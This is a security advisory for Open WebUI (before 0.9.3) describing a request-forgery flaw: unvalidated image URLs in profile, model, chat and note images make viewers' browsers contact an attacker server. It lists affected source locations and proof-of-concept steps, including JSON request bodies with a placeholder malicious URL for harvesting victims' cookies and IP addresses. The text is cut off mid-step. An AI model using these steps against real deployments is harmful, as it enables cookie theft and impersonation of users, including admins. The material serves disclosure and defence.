GHSA-j6w6-986j-2m2m Open WebUI Vulnerable to Cross-Site Request Forgery (CSRF) via Image URL Manipulation

• PyPI open-webui: < 0.9.3 → fixed in 0.9.3

Summary An application-wide Cross-Site Request Forgery (CSRF) vulnerability was found Open-WebUl's image uploading functionality. An attacker can set an image URL to a malicious endpoint, allowing them to perform actions on behalf of a victim user. Any authenticated user can exploit this vulnerability, and any user who views the compromised image (e.g., a profile picture) will unknowingly send a GET request to the attacker-controlled URL. This can lead to cookie theft, denial of service (DoS), or other malicious actions. This can be exploited in various locations, including: • Profile picture • Model picture • Hidden images in shared chats • Images within shared notes Details Vulnerable Code: This appears to occur in most locations where images can be uploaded/rendered. Here are found sinks: Profile Image in chat • Note: rendering profile picture in chat • Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/chat/Messages/ProfileImage.svelte#L16Code Profile Picture edit • Note: Profile picture rendering in edit • Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/chat/Settings/Account.svelte#L205 Profile Image Navbar • Note: Profile picture rendering in navbar • Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/chat/Navbar.svelte#L237 Profile Image UserList • Note: rendering images in user list admin panel • Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/admin/Users/UserList.svelte#L399 Images in chat • Note: rendering images in chat • Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/common/Image.svelte#L35 Image in chat • Note: Image sent in chat • Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/channel/Messages/Message.svelte#L192 Model image in chat • Note: Model image rendering in chat • Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/chat/Placeholder.svelte#L128 Model image in chat response • Note: Model image rendering in the assistant response • Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/chat/Messages/ResponseMessage.svelte#L612 Model Image Admin settings • Note: Model image rendering in the admin settings • Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/admin/Settings/Models.svelte#L336 Model Image Workspace • Note: Model image rendering in the workspace • Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/workspace/Models.svelte#L336 Model Image Edit • Note: Model image rendering in the edit modal • Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/workspace/Models/ModelEditor.svelte#L407 Image in Notes • Note: Image rendering in shared note • Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/common/RichTextInput/Image/image.ts#L140 • Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/chat/Messages/UserMessage.svelte#L184 Root Cause 1. Insecure display of image • Application is sending a GET request to the unvalidated image url 2. Lack of Input Validation • Image url is not validated for filetype PoCs PoC (profile picture) Environment • Open-WebUl latest version (v0.6.41) • Valid user Step 1: Create a Malicious Link • Set up a server to obtain victim's cookies, ip, referer, user-agent, etc Step 2: Profile Image URL 1. Add user 1. Change the profile image url parameter to the malicious URL (server was used for PoC) 2. Example POST request: 4. Repeat action 1. Repeat for userSignUp, updateUserProfile, and update Step 3: View Image on Victim Admin Account 1. Log into an admin account 2. Visit the admin panel (/admin/users/overview) 3. Notice the GET request sent to the malicious URL Step 4: Verify User Information Is Sent 1. Confirm user information is sent PoC (chat) Environment • Open-WebUl latest version (v0.6.41) • Valid user Step 1: Create a Malicious Link • Set up a server to obtain victim's cookies, ip, referer, use-agent, etc Step 2: Start chat 1. Start chat 1. Send a message 2. Resend POST request 1. Resend post request to this endpoint /api/v1/chats/[chat_id_here] 2. Add in a file with type set to image and the url set to the malicious link 3. Replace models/ids/malicious_url_here with what is applicable 4. {"chat":{"models":["redacted"],"history":{"messages":{"id_here":{"id":"id_here","parentId":"id_here","childrenIds":["id_here"],"role":"user","content":"","files":[{"type":"image","url":"MALICIOUS_URL_HERE"}],"timestamp":1765978991,"models":["redacted"]}}},"params":{},"files":[]}} 3. Share chat 1. Copy link to share the chat Step 3: View Image on Victim Account 1. Log into a valid account 2. Open the shared chat 3. Notice the GET request sent to the malicious URL from the hidden image on the page Step 4: Verify User Information Is Sent 1. Confirm user information is sent PoC (notes) Environment • Open WebUI latest version (v0.6.41) • Valid user with access to notes Step 1: Create a Malicious Link • Set up a server to obtain victim's cookies, ip, referer, use-agent, etc Step 2: Create Note 1. Resend POST request to /api/v1/notes/[note_id_here]/update 2. Add in the malicious URL to a file 3. Example parameters 1.  (replace the ID_HERE with valid ID and MALICIOUS_URL_HERE with the malicious URL): 2. `{"title":"2025-12-17","data":{"files":[{"id":"ID_HERE","type":"image","url":"MALICIOUS_URL_HERE"}]},"access_control":{"read":{"group_ids":[],"user_ids":[]},"write":{"group_ids":[],"user_ids":[]}}}` 4. Refresh page and notice the request being sent to the malicious URL 5. Share note and copy link Step 5: View Note on Valid Account 1. Log into a valid account 2. Open the shared note 3. Notice the GET request sent to the malicious URL from the hidden image on the page Step 6: Verify User Information Is Sent 1. Verify that user information is sent. PoC (model) Environment • Open WebUI latest version (v0.6.41) • Admin user Step 1: Create a Malicious Link • Set up a server to obtain victim's cookies, ip, referer, use-agent, etc Step 2: Create Model 1. Navigate to /workspace/models 2. Cre…